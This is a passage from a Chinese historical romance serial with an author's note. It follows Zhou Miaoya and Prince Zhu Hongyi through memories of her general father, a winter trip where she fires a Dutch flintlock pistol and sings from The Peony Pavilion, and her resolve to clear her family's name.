“我感激上苍,让我遇见了如此珍贵的你,所以我愿意用我的一切去守护这份珍贵。” “我爱的…就是周妙雅。 周妙雅的唇瓣剧烈地颤抖着,声线碎在喉间,混着浓重鼻音与破碎的哽咽: “二 郎…” 她抬眼望向他,他眼中盈满了歉疚,坦诚,与浓得化不开的情意。 所有的质问,所有的冰冷,所有被背叛的刺痛,在这一刻全部坍塌。 她用尽全身最后一丝余力,猛地扑进他怀里,双手死死环住他的脖颈,将满是泪痕的脸深深埋进他的肩窝。 朱弘毅被她撞得身形微微一晃,即刻稳稳跪坐于地,双臂毫不犹豫地收紧,将她整个人牢牢圈在怀中。 周妙雅在他怀里放声痛哭。 她哭得浑身都在抖,滚烫的眼泪灼湿了他的肩头。 朱弘毅只是紧紧抱着她,任由她哭。 两人就这样跪在冷硬的石地上,紧紧相拥。 ———— 周妙雅哭到力竭,浑身脱力地软在他怀中。 朱弘毅将她抱到石椅上,让她靠着自己,复又把自己的外衫覆在她身上,将她裹得严严实实的。 她静静倚在他怀里,睫毛湿漉漉地垂着,良久,忽然开口轻声唤他:“二郎…” “嗯?” “你见过我爹爹吗?” 朱弘毅沉默了片刻。 “见过。” 他低声道:“五岁那年,在京郊大营,见过唯一一次。” 她在他怀里轻轻动了一下,抬起湿漉漉的眼睫好奇地看向他。 他低头迎上她的目光,低声续道:“其余多是听徐师傅讲的,徐师傅说,周大将军与寻常武夫不同,不避西学,善用火铳与红夷大炮,黑水河战前,他曾一炮轰伤北狄大汗,致使北狄军心大乱。” 听到这里,周妙雅的眼睛微微亮了起来。 她撑起身子,缠住他的胳膊:“那你给我讲讲…你五岁的时候,都看到什么了?” 她声音软糯,带着孩子气的执拗:“我爹爹…究竟是怎样的人?” 朱弘毅望向她眼底那抹破碎却渴望的微光,喉结轻轻动了动。 他抬手,指腹缓缓拂过她睫下未干的泪痕。 思绪被拉回到了儿时的那段岁月。 他的兄长是东宫太子,生来便是储君,而他作为二皇子,从小就注定了与皇位无缘。 小时候的他,最快乐的日子便是买通内侍,偷偷溜出宫去,只为听城东酒楼里的说书先生讲辽东的金戈铁马。 京城城东的望北楼,每到午后都是人声鼎沸,太监来福领着年幼的朱弘毅挤在人群中,踮着脚,眼睛一眨不眨地望着台上的说书先生。 惊堂木一响,满堂的喧嚣立刻便安静了下来。 说书先生清了清嗓子,娓娓道来:“各位看官,今日咱不讲那才子佳人,狐仙鬼怪,咱就说说那辽东,真刀真枪,血里火里拼出来的硬骨头!” “说起这辽东啊,嘿!那可是咱朝廷东北的大门,一年里头,倒有大半年是能把人鼻子冻掉的鬼天气,那风,跟刀子似的,刮在脸上生疼,那雪,一下起来,铺天盖地,能把整个山头都埋喽。” “可就在这鬼地方,北狄那些个蛮子,骑着高头大马,嗷嗷地叫着,就跟那雪原上的饿狼似的,年年岁岁,就惦记着咱们中原的富庶,想闯进来烧杀抢掠。” 台下众人屏息凝神,似已感受到刺骨的寒意与杀机。 说书先生话锋一转,猛地一敲惊堂木:“可他们想得美!为什么?就因为咱们辽东,站着周家军,竖着周字帅旗!” “提起这周家军,嚯!那可是了不得!” 他双目放光,唾沫横飞:“周家军世代镇辽,忠肝义胆,军纪如铁。世人传言,周家军冻死不拆屋,饿死不掳掠,令旗向东,无人敢侧目向西。” 说罢,他拿起惊堂木,啪!又是一声:“这周家军在战场上,那更是战无不胜的虎狼之师。北狄骑兵厉害吧?冲起来跟洪水似的,可遇上周家军的枪阵,那就跟浪头拍在礁石上似的——粉身碎骨!” “周承山周大将军,运筹帷幄,用兵如神,屡临绝境,偏出奇兵,杀得北狄人哭爹喊娘,抱头鼠窜。” 说到这里,只见他忽压低嗓门,好似泄露天机般:“那北狄的小儿夜里哭闹,当娘的一说,再哭,再哭周阎王就来抓你了。嘿!立马就吓得不敢吱声儿,您说为什么?周大将军和他那支周家军,就是北狄人心里头最怕的活阎王!” “所以说啊…” 那说书先生捋着胡须,满面与有荣焉地总结道:“只要有周家军在,有周承山周大将军在,咱们这京城,就能安安稳稳地过日子。” 他话音方落,台下轰然雷动,叫好声此起彼伏,铜钱如同雨点般叮叮当当地掷上台前。 年幼的朱弘毅被挤在人堆儿里,眼睛亮得吓人,小小的拳头悄悄攥得死紧,一颗心早就飞进辽东那片风雪与热血交织的土地上去了。 终于,他等到了机会,周家军奉旨回京述职,大营暂驻京郊。 那一日,他永生不敢忘。 他甩开内侍,就那么小小一个人儿,也不知从哪儿迸出的蛮力,竟凭着一股热血,一口气奔到了京郊大营外。 营前没有喧哗,亦没有杂乱,烈日炎炎下,列阵整齐如山。 他们动作如一,号令如雷,那极致严明的军纪,肃杀之气冲天,深深震撼了朱弘毅幼小的心灵。 这与他熟知的宫廷判若云泥… 那里礼重如山,空若无物,令他窒息。 年幼的他忽然生出渴慕,若能成为周家军的一员,执槊披甲,立军功于北疆,才算不枉此生。 想到这里,仗着几分机灵劲儿,他寻了段守卫稍松懈的矮墙,悄无声息地翻了进去。 不出意外地,他被巡逻的兵士发现了,像拎小鸡一样,被带到了中军帐前。 帐中,那男人端坐在案后,未着华甲,一身常服,却自有一股凛然威严。 边地的风霜在他脸上刻下沟壑,却掩不住他锐利如鹰的目光,那目光仿佛能洞穿虚妄,直抵本心。 他,便是周妙雅的父亲,周承山。 周妙雅听到这里,早已入迷,她急切地摇着朱弘毅的手臂问:“然后呢?” 朱弘毅嘴角拂过一丝笑意,不慌不忙地继续沉入那段回忆。 周承山望着眼前趴在地上,锦衣玉带的小孩童,心中早已猜到他是哪家娇生惯养的公子哥儿。 太监来福自知二皇子背着自己偷偷溜出宫去,此刻心急如焚。 他寻遍了二皇子常去的地方,猛然想起二皇子最爱听说书先生讲辽东的故事,这才想起周家军早已回京,就驻扎在城外大营。 他慌忙赶去,果然见朱弘毅已被揪到中军大帐里去了。 来福抹着泪,伏到朱弘毅身边,哭诉道:“二殿下,您怎么一声不吭就跑这儿来了,叫奴才心急如焚!您万一有个好歹,奴才可是要掉脑袋的!” “皇子?” 周承山的眉锋微微一沉,眸光未见半分恭谨,反倒更见锐利,甚至透出几分失望与厉色: “纵是皇子,军纪亦不可视同儿戏,此处非你追逐玩闹之地。今日擅闯京郊大营,若在边关,你的行踪便可能引来敌军探子,你可曾想过,此举会葬送多少将士的性命?刀剑无眼,你那皇子身份,届时护得住你几分?又护得住你身后的将士几分?” 周承山厉声道:“国有国法,军有军规,今日你擅闯军营,按律当惩,周家军向来只认军法,不认身份。崇昀,去取戒尺来。” 那也是朱弘毅第一次见到周妙雅的大哥,周崇昀。 听到戒尺二字,朱弘毅未吭一声,更无半分不服,他心知肚明,周承山已留余地,既未杖责,也未动军棍,不过是戒尺示惩,已是格外开恩。 来福急的直哭,他扑向朱弘毅,将他搂在怀里:“使不得!使不得!天潢贵胄,岂容你们滥用私刑?” 朱弘毅倒是不以为然,他用力推开来福,跪得笔直,右手毅然伸出,掌心向上,毫无惧色。 “好!有血性!”周承山朗声大笑,示意周崇昀上前。 周崇昀提起戒尺,在朱弘毅手上轻轻拍了五下。 朱弘毅惊讶地抬首,看向周承山。 周承山只是笑了笑:“小子,记好了,军令如山,战场无儿戏,真正的强大,不在你生来 的血脉,而在此处的纪律与担当。” 小小的朱弘毅腰板挺得笔直,嗓音清亮:“那等我长大了,也能做周家军吗?” 周承山晃了晃手中刻着周字的腰牌,朗声大笑:“小子,等你足够强大了,便来寻我,我亲授你周家军腰牌!” ———— 夜已深了,朱弘毅将筋疲力竭的周妙雅抱回了暖阁,他拧了温热的巾子,轻轻拭去了她面上的泪痕。 “妙雅。” 他低声唤她,指腹掠过她微凉的耳廓:“好好睡一觉,什么都别想。” 周妙雅含糊地应了一声。 她确实累极了,身心俱空,连动一动指尖的力气都没有了。 可就在朱弘毅替她掖好被角欲起身时,她忽然从锦被中伸出手,轻轻攥住了他的衣袖。 朱弘毅顿时停住,回身坐回榻沿,掌心覆住了她冰凉的手指。 良久,周妙雅才极轻地开口,声音细若游丝:“二郎,你说他…真的会给你腰牌吗?” 他垂目,目光凝着两人交握的手,指尖缓缓摩挲着她的手背。 “会的,若你爹还在,他定会说到做到。” 周妙雅的眼睫又湿了,可她没有再哭,只把脸往锦被里埋了埋,像个受尽委屈的孩子。 朱弘毅俯身,在她额头轻轻落下一吻。 “睡吧。” 他轻声道:“我守着你。”—— 作者有话说:“黑水河战前,他曾一炮轰伤北狄大汗,致使北狄军心大乱。” 说的是宁远之战,明军把十一门红夷大炮架在城头,当努尔哈赤亲率八旗精锐冲到城下时,炮手罗立等集中轰击,一发炮弹击中其营帐附近,努尔哈赤当场被爆炸震伤,随军撤退。 此文里北狄就是后金,我好像之前说过一次了。 第82章 此后的很长一段时间, 周妙雅除了做好自己司画女官的本职工作,便躲进瀚海楼的密室里,翻遍周家军旧牍。 只要是回房后, 她便是倚窗发呆, 好像对什么事情都提不起兴致一般。 朱弘毅把她的情绪低落全看在眼里, 他变着花样想让她开心起来,她却对什么事情都觉得索然无味。 时序转眼入了冬,北京城落了今冬第一场大雪。 朱弘毅瞧着她整日闷在屋里,眉间总是凝着化不开的郁色,便寻了个由头,说要带她去京郊汤山散心。 汤山位于北京城昌平县西北,自辽代起便是温泉胜地, 元代更辟为皇家园林。 前朝留下的几处精舍,如今归大晟皇室所有, 成了御用行宫。 出行那日, 雪后初霁。 朱弘毅特意让青黛,长安和白芷一并随行,马车行了两三个时辰, 终是到了汤山脚下。 掀开车帘,遥遥西望, 但见燕山山脉覆着皑皑白雪,映着湛蓝碧空, 如玉龙横卧。 行宫建在半山,殿宇不算宏丽, 却清幽得宜。 几处泉眼冒着氤氲热气,咕噜咕噜地翻着水花。 朱弘毅命人临泉设敞轩,移来竹茶炉, 内衬铜小炭炉,又唤青黛,白芷捧着锡茶罐,提竹篮,亲扫檐下新雪,以备煎水。 他更特遣人取来苏州虎丘茶,此种茶被文人间流传的《茶笺》誉之为天下第一,雪后烹煎,其味更清冽。 周妙雅披着狐裘大氅,静静坐在轩边,望着远处的雪岭出神。 朱弘毅将暖手炉递到她手中,温声道:“暖暖手。” 茶烟袅袅,与泉边蒸腾的水雾交缠,映得人眉眼朦胧。 远处山寺的钟声隐约传来,在空谷中悠长回荡。 青黛捧了新烤的栗子,蹲在她脚边细细剥开,栗壳裂响,甜香气息立刻窜了出来,引得长安和白芷也围了过来。 白芷将剥好的栗仁递到周妙雅手边,轻声道:“小姐,尝尝,刚剥好的,还热乎呢。” 周妙雅接过,小小咬了一口,栗子很甜,带着炭火烘烤后的香气,她又抿了一口茶,虎丘茶的清冽之气在唇齿间瞬间化开,与栗香交融,恰到好处。 只是她的目光仍是怔怔的,望着轩外覆雪的山林,眸底空茫,没什么神采。 青黛在一旁瞧得心急,只见她眼珠转了转,忽地放下手中还没剥完的栗子,起身跑到轩外的雪地里,弯腰飞快地攒了一团雪。 她转身扬手一抛,雪团噗地一声正中长安肩头。 长安愣了一下,转头看她,眉头微微蹙起:“做什么抛我?” 青黛双手叉腰,下巴一挑,狡黠地笑了笑:“我不抛你,难道还抛王爷不成?” 长安被她噎得一时语塞,见她笑得像只得逞的小狐狸,心头那点儿恼意竟瞬间散了,反倒起了逗她的心思。 他也弯下腰,从地上掬了一把雪,在掌心松松拢成团,朝青黛轻轻掷去。 那雪团松松软软的,飞至半途就散了,只在她裙摆处溅起零星的雪沫。 “你这也叫扔雪?” 青黛嗤笑了一声,俯身又攒了一个结实的雪球,追着长安跑了过去:“长安哥,你别躲!” 长安见她追了过来,只含笑侧让了两步,可青黛确仍是不依不饶,两人便在轩前干净的雪地上你跑我追,笑声不断。 周妙雅原本涣散失神的目光,竟不知不觉被两人的玩闹吸引了过去。 看着看着,她原本微微抿紧的唇角竟不自觉地牵起了一丝细微的弧度。 她的笑意很浅,像蜻蜓点过水面,转瞬就散了。 但身边一直留意着她的朱弘毅,却清清楚楚地看见了… 她笑了,还是那么好看。 ————— 汤山脚畔便是村落,这日恰逢是昌平县赶集的日子。 朱弘毅为了让周妙雅能开心一些,便携众人踏雪下山,往那集市去了。 这种场合,青黛最是高兴,小姑娘见什么都喜欢,一进集市便两眼放光。 她与白芷一左一右挽着周妙雅,东看看西瞧瞧,瞧见糖人想买,看见绒花也想要,看见面塑,风车,冰糖葫芦,件件都想揣进怀里。 周妙雅却只轻轻摇头,她看什么都淡淡的,提不起半点兴致。 朱弘毅走了过来,将她从左右夹挽中轻轻带出,低声道:“我们去那边看看。” 周妙雅点点头,由他牵了手,朝不远处一个货架满满的货郎走去。 长安悄声埋怨青黛:“你怎如此没有眼色,非杵在人家小情侣中间?” 青黛冲他皱了皱鼻子,做了个鬼脸,白芷在一旁瞧着,掩唇低低笑出了声。 那货郎见有客至,忙堆笑迎上:“郎君娘子瞧瞧,我这儿什么都有,胭脂水粉,针头线脑,孩童玩意,样样齐全!” 周妙雅的目光漫无目的地扫过货架,忽然停在一个小小的拨浪鼓上。 她伸手拿起那只拨浪鼓,只见它木柄光滑,两面蒙着红皮,轻轻一转,便发出咚咚的脆响。 听着那鼓声,她忽然间神思恍惚,若爹爹还在,若她也曾有过寻常的童年,周承山会不会也握着这只拨浪鼓,笨拙地轻摇,逗得小小的她咯咯直笑? 她正想得出神,却听那货郎已笑着开口:“夫人买一个吧,给府里的小公子小千金耍!瞧您二位这般品貌,家中的小娃娃,定是俊得很!” 周妙雅猛地回过神来,脸颊腾地一下就红透了,连耳根都烧了起来。 她慌忙把拨浪鼓往货架上一搁,转身便走,脚步凌乱,似要掩饰那一瞬的心慌。 朱弘毅见状,朝长安递了个眼色,长安立刻会意,掏钱付账。 而他自己则转身,大步追了上去。 周妙雅走得急,几乎小跑,直到拐进一条僻静的巷口,才扶墙停下,胸口剧烈起伏着。 朱弘毅走到她身后,没有立刻说话。 巷子里安安静静的,唯有远处集市的喧闹声隐隐传来。 过了好一会儿,他才低声开口,声音中带着几分笑意: “跑什么?” 周妙雅被他问得说不出话,只觉耳根烧得更厉害,心虚地低下头。 朱弘毅不再逗她,温声道:“既是喜欢,我已让长安买下。” 周妙雅身子微微一僵,下意识反问: “…买它做什么?” “留着。” 他顿了顿,声音平静:“以后总用得着。” 这句话像颗小石子,投入她心底的死水,荡起了一圈本不该有的涟漪。 周妙雅忽然就生了气。 他明明知道自己是周承山的女儿,是朝廷已盖棺定论的罪臣之后,是活在阴影里的人。 他们之间隔着云泥之别的身份,怎么可能有以后? 他现在说这些 ,又有什么意义? 若哪天她的身份被朝廷知晓,等待她的不是流放,便是没入教坊司,像杨濂之女那样,尊严尽失,生不如死。 到那时,他又能如何?还能这样牵着她的手,说以后吗? 一股涩意霎时在她胸中翻涌起来,她抬起头,眼眶红红的,强忍泪意,声音颤抖:“是啊!你早晚用得着。” 她扯着唇角,笑得比哭还难看: “你早晚要娶妻生子,和你门当户对的王妃和和美美,琴瑟和鸣,你还要纳侧妃,收通房,儿孙满堂…一个拨浪鼓怎么够?该多买几个才是。” 她话音落下,巷子里忽然死一般的沉寂。 朱弘毅脸上的笑意慢慢褪去,他没有说话,只是静静地望着她。 良久,他才轻声叹道:“妙雅,你心里有气,冲我发就是了,何必这样糟践自己?你明知道我根本就不会娶别人…” 泪水终于滚落,连她自己也不知道自己在哭什么。 朱弘毅将她轻轻揽进怀里,掌心抚着她后脑,一下又一下,像安抚受惊的小猫。 “好了,不哭了。” 他低声哄着她:“都是我不好,惹你伤心。” 周妙雅把脸埋在他胸前,泪意滚烫。 她知道自己是在无理取闹,但她更知道,只要周家军一日不昭雪,他们之间便永远横着一道看不见的鸿沟。 所有温情与承诺,在冰冷的现实面前都不堪一击。 可她还是贪恋这一刻他怀里的温暖,贪恋他低声认错时,那点近乎纵容的宠溺。 哪怕明知转瞬即逝,仍甘愿沉沦。 她双臂紧紧环住他的腰,唯恐一松手,这点偷来的暖意便会消散。 长安来到巷口,正撞见两人相拥的身影。 他脚步一顿,当即垂下眼,下意识便要回避。 朱弘毅已抬眸看见他,目光微动,示意他稍等片刻。 长安会意,便悄然退至巷口转角处,静静候着。 朱弘毅低下头,掌心仍一下下轻抚着怀中人儿的发丝,直到她哭声渐歇,只余断断续续的抽噎。 片刻后,周妙雅终于从他怀里抬起头。 睫毛湿漉漉的,鼻尖也红红的,脸上泪痕交错,活脱脱一只狼狈的小花猫。 朱弘毅抬手,轻轻抹去她眼角的残泪,低声哄道:“傻不傻,一个拨浪鼓而已,也值得你哭成这样。” 周妙雅垂眸,不肯看他,只闷声道:“…谁哭了。” 他顺着她:“嗯,没哭,是我眼花了。” 她别过头去,耳根仍透着未褪尽的绯红。 朱弘毅也不逼她,只温声道:“那便回去罢,青黛她们该等着急了。” 周妙雅轻咬下唇,低低应了一声。 朱弘毅这才松开手臂,牵起她的手,朝巷口走去。 长安适时从转角走出,神色如常,仿佛刚刚什么也没看见。 他趋前两步,在朱弘毅身侧低声禀报:“王爷,艾儒略神父已经到汤山行宫了。” 第83章 汤山行宫书房, 冬日的炭火哔剥作响,地龙烧的极暖。 朱弘毅屏退了左右,只留周妙雅在侧。 艾儒略提着一只沉重的橡木箱子, 一进书房, 便觉周身被暖意包围。 “王爷, 周女官。” 艾儒略学习大晟人的样子,躬身行礼,而后又将木箱轻置于地面,拨开了铜扣。 箱盖被掀开,箱子里面衬着深蓝色的绒布,绒布上静静躺着三支火铳。 那火铳与周妙雅之前在画册上,还有瀚海楼的密室里见过的都完全不一样, 它们不是大晟神机营用的那种粗长的火铳,而是袖珍手提式的, 通身乌亮如漆, 铳管纤长,镶嵌着精致的黄铜纹饰。 艾儒略用生涩的大晟官话解释道:“这是尼德兰最新式的燧发铳,徐大人半年前托我辗转经东印度公司订得三支, 只可惜货到澳门时,徐大人已经…致仕了。” 朱弘毅走上前来, 拿起一支在手中掂了掂: “徐师傅曾言,辽东若能多些这样的火器, 将士们便能少流些血。” 周妙雅的目光钉在那几支火铳上,良久。 她想起朱弘毅曾经说过, 爹爹和别的武将不同,他最爱钻研火器,善用红夷大炮, 黑水河战前曾一炮轰伤北狄大汗。 半晌,她回过神来,忽然趋前一步,小心翼翼地开口:“艾神父,我能…看看这火铳么?” 艾儒略怔了怔,连声道:“自然,自然。” 周妙雅这才小心谨慎地执起一支,这火铳入手比想象中更沉,她低头往复端详着铳身前前后后,指腹描摹过铳身上的机括,冰凉的金属触感在指尖蔓延开来。 她抬眸,指着铳尾一处凸起的机关,好奇问道:“这个是做什么用的?” 艾儒略眼睛一亮:“周女官慧眼,此乃燧石击发器,扣动扳机时,燧石撞击火镰,点燃引火药,比旧式的火绳枪先进很多,风雨天也能用。” 说罢,他接过火铳,熟练地演示如何装填火药,压实弹丸,拨动机括,动作利落,行云流水。 周妙雅在一旁看得很仔细。 看完艾儒略的演示,她忽然启唇:“我能试试吗?” 艾儒略惊讶地看向她:“周女官对火铳感兴趣?” 周妙雅重重点头。 艾儒略见她神色认真,不似一时兴起,不由得侧目看向朱弘毅,朗声笑道:“用贵国的话讲,周女官真是巾帼不让须眉。” 他顿了顿,目光又落回周妙雅身上,眼底浮起遥思的神色:“在我们欧罗巴,也有许多不让须眉的巾帼。英格兰的伊丽莎白女王,便是一位极善使用火铳的女君主。她曾亲临靶场,与将士们同习,枪法精准。她在位四十余载,经国远谋,更曾以弱胜强,重创西班牙的无敌舰队。” 朱弘毅一直沉默地看着周妙雅,此刻才开口:“行宫后山有处废弃的靶场。” 他顿了顿,声音放轻了些:“想去试试?” 周妙雅抬起头,迎上他的目光,斩钉截铁:“想。” 朱弘毅轻轻颔首,目光温缓:“那就去试试。” 众人披上大氅,踏雪往后山行去。 废弃的靶场白茫茫一片,远处的箭靶没入雪色,如孤影矗立于风雪之中。 艾儒略留在廊下,远远瞧着。 朱弘毅取了一支火铳,为周妙雅填药压弹,仔细装填好。随后走到她身后,伸出手臂半环住了她。 “托稳。” 他低声落在她耳畔,气息拂过她鬓边的发丝:“对准靶心。” 他温热的掌心覆过她的手背,教她稳稳托住铳身。 周妙雅屏住呼吸。 她学着他的样子,微微眯起左眼,右眼透过准星看向远处靶心那一抹朱红。 “放。” 他声音落下的那瞬,她扣动了扳机。 “嘭——” 一声闷响在雪野中炸开,硝烟霎时腾起。 远处的箭靶微微晃动了下,红心处赫然多出了一个黑洞。 周妙雅怔住了。 半晌,她缓缓回过头,仰见身后的朱弘毅正垂眸看着她,唇角噙着笑意。 她的眼睛忽然就亮了起来,唇角一点点弯起,像春风拂过冰封的湖面,映着雪光,好看得让人移不开眼。 “打中了!”她笑着唤他,眸中绽出了久违的光彩。 她看了他片刻,又转回头去。 这次,她不再借他之手,自己接过火铳,学着方才他的样子,笨拙却认真地重新装填。 她动作有些生疏,火药洒出了些许,但她抿着唇不语,一丝不苟。 朱弘毅没有插手,只负手静立一侧,默默地看着。 良久,她再次端起火铳,双手托稳,眯起眼睛瞄准靶心。 只听嘭一声。 这一枪打偏了,落在靶子边缘。 她没有懊恼,也没有气馁,反而很开心,自己又勇敢地往前迈了一步。 踏雪回行宫的路上,她整个人眼睛都亮晶晶的,仿若重获新生了一般。 ———— 回到行宫时,天色已近黄昏。 长安命人备好了涮锅 ,铜锅中清汤翻滚,边上摆着几碟切得极薄的羊肉片,还有新摘的菘菜,冻豆腐。 另一侧的炭炉上,炙羊肉正被烤得滋滋冒油,香气四溢,弥漫开来。 艾儒略深吸一口气,赞叹道:“大晟的美食,总是令人难忘。” 青黛与白芷侍立在一旁,目光却都悄悄落在了周妙雅的脸上。 她们惊喜地发现,只是出去了一趟,小姐眼底久违的明澈竟回来了。 她们二人都很好奇,艾儒略那西洋人究竟施了什么魔法?怎的她们劝了小姐那么久,小姐始终郁郁寡欢,凭个西洋人一来,小姐就高兴起来了? 朱弘毅请艾儒略入了席,青黛悻悻上前,替他斟了杯热酒。 望着窗外渐沉的暮色,朱弘毅声音里带着些微微的憾意:“可惜行宫清寂,没有戏班子,若此时能得几折戏文佐酒,听着曲,吃着热腾腾的涮锅,才算圆满。” 艾儒略闻言,放下酒杯,眼中浮现出笑意:“说起听戏,伊丽莎白女王也极爱此道,她的御前设有戏班,亦有莎士比亚等大文豪以词章供奉,如此这般,英格兰的文运得以大振,声教远播。” 说到这里,他顿了顿,语气变得有些怀念:“昔日徐公与我言,大晟人独爱昆腔,更曾言贵国有一位名动天下的剧作家,名唤汤显祖,此人在大晟人心目中的地位极高。” 艾儒略转而望向朱弘毅与周妙雅,认真问道:“敢问这位汤先生,可就是大晟的莎士比亚?” 周妙雅的筷尖方挑起一片薄羊肉,听到这里,她微微顿了顿。 她垂眸静思了片刻,忽然将筷子轻轻放下。 “汤先生之才,不亚莎君,然华夏文章自有风骨,艾先生若愿闻,妙雅愿献唱一段。” 说罢,她便牵起白芷的手,款款走到暖阁中央那片宽敞处。 她松开白芷,微微敛了敛衣袖,迎着满室惊讶的目光,轻轻吸了一口气。 而后,她开口,是地道的吴侬软语,嗓音清润婉转:“原来姹紫嫣红开遍,似这般都付与断井颓垣。良晨美景奈何天,赏心乐事谁家院…” 尾音轻曳,如丝如缕,满室皆静,绕梁不散。 白芷微微怔了一下,旋即会意,忙退后半步,侧身低头,作小丫鬟怯怯状,轻声接着春香的词儿:“小姐,这园子…确是好看。” 周妙雅眸光流转,指尖虚虚一点,似真望见春色满园般。 她继续唱了下去,每一处转音都似春丝绕指,哀婉缠绵,欲说还休: “朝飞暮卷,云霞翠轩,雨丝风片,烟波画船,锦屏人忒看得这韶光贱…” 朱弘毅执杯之手停在了半空。 她唱的是《牡丹亭游园》中的《皂罗袍》一段,唱词凄婉缠绵,字字含情,他们曾在海子边的酒楼里一起听过。 但他从来没有听她唱过。 他知她擅画,精医,通文墨,却未曾料她嗓音天生清透,如山涧清泉,潺潺流入人心。 她唱得很专注,眉梢眼角都染上了杜丽娘的情态。 乍见春色之惊,暗喜难禁,旋又惜韶光易逝,轻叹难留,一腔婉转,尽融于歌喉之中,举手投足间,自成风流。 艾儒略虽对词意一知半解,却也凝神听着,眼中流露出赞赏之意。 一曲唱罢,周妙雅停了下来,颊边微微泛红。 她仿佛此刻才回过神来,意识到自己竟当众唱了曲,带着几分无措望向朱弘毅。 朱弘毅缓缓放下手中酒杯,目光凝着灯火中央的她。 看了很久,方低声开口,嗓音微哑: “很好听。” ———— 晚膳过后,窗外的雪又簌簌地落了起来。 周妙雅回到自己房中,白芷替她卸了钗环,散了发,铜镜里映出一张仍带着浅浅红晕的脸。 白芷拿着篦子,一下一下地为她顺发,动作轻柔,声音也轻:“小姐,您今日…怎么想起当众唱曲了?” 周妙雅望着镜里人影,静了片刻,声音轻似自言自语:“白芷,我只是…想让他永远记得我。” 篦齿停在半空,白芷犯了糊涂… 记得?王爷怎会不记得小姐?她只觉得小姐这些日子心思太重,又和那晚拿着金簪一样,在说胡话了。 她将周妙雅最后一缕秀发理顺,轻叹道:“小姐又在讲胡话了,还是早些歇息罢。” 她放下手中的篦子,吹熄了外间的灯,轻轻带上门出去了。 屋中惟余炭火一点暗红。 周妙雅没有动。 她在黑暗里坐了许久,然后起身,从窗边的矮柜里取出了那把艾儒略带来的火铳。 她将那把火铳紧紧握在手里,冰冷的金属渐渐被掌心的温度焐热。 心中所思所想逐渐澄明,她不能永远躲在他身后,只做一个待庇待怜的孤女。 她想堂堂正正站在他身边,想成为他的王妃,想为他生儿育女,想在宗谱玉牒上与他的名字写在一起。 这些寻常女子或许触手可及的念想,于她,却隔着血海深仇,隔着泼天的污名。 周家冤案一日不平,她便永远只是罪臣之女。 罪臣之女,又如何配得上天潢贵胄?纵使他不在意,皇室呢?宗亲呢?天下人的口舌呢? 她心意已决,无论前路多难,她要为周家军平反。 她要为父亲的一世忠烈洗去污名,她要让周家上下三百余口亡魂瞑目。 她要为有朝一日,能堂堂正正走到他面前… 非罪臣之后,而只是周妙雅。 是可以与他并肩而立的周妙雅。 第84章 雪停后的第三日, 周妙雅带着那把火铳回了宁王府。 自此数月,她都在有条不紊地做着每一件事。 瀚海楼的书画典籍早已整理完毕,之前她托叶氏书铺的叶掌柜, 请了金陵最好的刻书匠, 将那批书画的目录与评注刊刻成册, 取名《瀚海楼书画录》。 是日,叶氏书铺的伙计过来传话,说书已刊刻装订完毕,请女官亲自过目。 周妙雅遂整理好衣容,携青黛出了府门,径直往叶氏书铺去了。 叶氏书铺位于北京城宣武门内的铁匠胡同,与正阳门书肆隔街相望, 为内城图书集散之所,墨香盈巷, 士庶肩摩踵接。 周妙雅素知大晟刊刻, 出版业极盛,尤其是江南一带,而京师龙蟠虎踞, 鸿儒毕集,遂自然而成北方此业最盛之地。 到了叶氏书铺, 叶掌柜便引她入了后院工坊,这里并不比前院清寂, 反而更加热火朝天。叮叮当当的刻木声扑面而来,数十余匠人伏案埋首, 执刀刻版,裁纸摞页,调墨刷印, 错落有声,井井有条。 叶掌柜指着那些忙碌的身影,语气中带着自豪:“周女官请看,自本朝正嘉年间以来,大晟的刻书业便冠绝天下,金陵与苏州更是书业汇聚之地。京师此街,仅小人这般铺面便有七八家,竞争虽烈,却也可见行业蓬勃。” 周妙雅缓 缓走过一排排摆满雕版的木架,目光掠过那些深浅不一的字痕与图样。 她曾在瀚海楼的藏书中见过不少宋版珍本,纸墨精良,字迹古雅,却还是第一次见到它们是如何从匠人手中诞生的。 “果然红火。”她低声叹道。 叶掌柜含笑点头,引她到一旁的静室,案上已摆好了一套新印的《瀚海楼书画录》。 书册用最上等的徽州澄心堂纸,歙县雪堂义墨,墨色沉静匀净。 翻开扉页,序言文稿是周妙雅仿文老太爷的书法所写,内里正文雕版用的是仿宋版书的楷体,笔画挺拔,古意盎然。 每幅书画目录下,皆附着她亲手所写的短评,如今一字一字,皆变成了版上清晰的字痕。 周妙雅一页页地慢慢翻看,指尖轻抚书页,心中涌起充实之感。 这是她任司画女官以来,做的耗时最久,最成体系的一件事。从理清瀚海楼珍藏的海量书画,到编目,评注,再到成书,这里面倾注了她太多的心血。 瀚海楼,司画女官,宁王府的一切,给了她太多难忘的记忆。她私心盼着,哪怕他日后妻贤子孝,生活美满,看到这书册,也能想起这世间还曾有过一个她。 “雕版用的是库藏的宋版旧料。” 叶掌柜在旁含笑解释,将她的神思唤了回来:“木质紧实耐印,出来的字也格外精神,这套书的纸,墨,刀工皆是按照最高规格而来,小人万不敢负女官之托。” 周妙雅合拢书册,抬眸望向叶掌柜,眼底浮起清浅的笑意:“有劳叶掌柜费心了,我很满意。” 叶掌柜连连摆手,面上神色亦更热切了几分:“周女官客气了,说来,如今江南一带的闺秀才女间,正流行刊刻个人诗集文集,若是女官日后有兴致,想将自己的书画心得,或是诗词作品辑录成册,小店愿随时效犬马之劳。” 他顿了顿,又笑道:“自然,若女官相识的贵人有此雅好,也盼女官能多替小店引荐几分。” 周妙雅静默片刻,将书册轻轻拢在手中。 “好。” 她抬眸应道:“若有那一日,定再来叨扰叶掌柜。” ———— 周妙雅从叶氏书铺回到宁王府时,朱弘毅不在府中。 她抱那套新印的书册,独自穿过回廊,推门进了朱弘毅的书房。 她将书册整齐码好,放进了一个紫檀木匣中,匣子虽不算大,但刚好能容下一整套《瀚海楼书画录》。 她捧着木匣,在书房里缓缓踱了半圈,最终停在那排靠墙的格架前。 架上多是古籍珍玩与他平时最喜欢的几枚玉器,她静看了片刻,将木匣端正置于最中央一格,正对着书案,他抬眼就能看见的位置。 放好后,她退后半步,静静欣赏了一会。 而后,她又从袖中取出一张早已备好的素笺,素笺上只写了一行娟秀的小楷: 两情若是久长时,又岂在朝朝暮暮。 她将素笺对折,又对折,折成小小一方,然后轻轻塞进了木匣底下。 素笺贴着格板,从外面几乎看不见,只有挪开木匣时,才会被发现。 做完这些后,她悄无声息地退出了书房。 门在身后轻轻合拢,没有发出一点声响。 回到暖阁,她走到窗边的书案前。 案上摊着几卷画稿,最上面的那幅,正是《坤舆万国全图》的初稿。 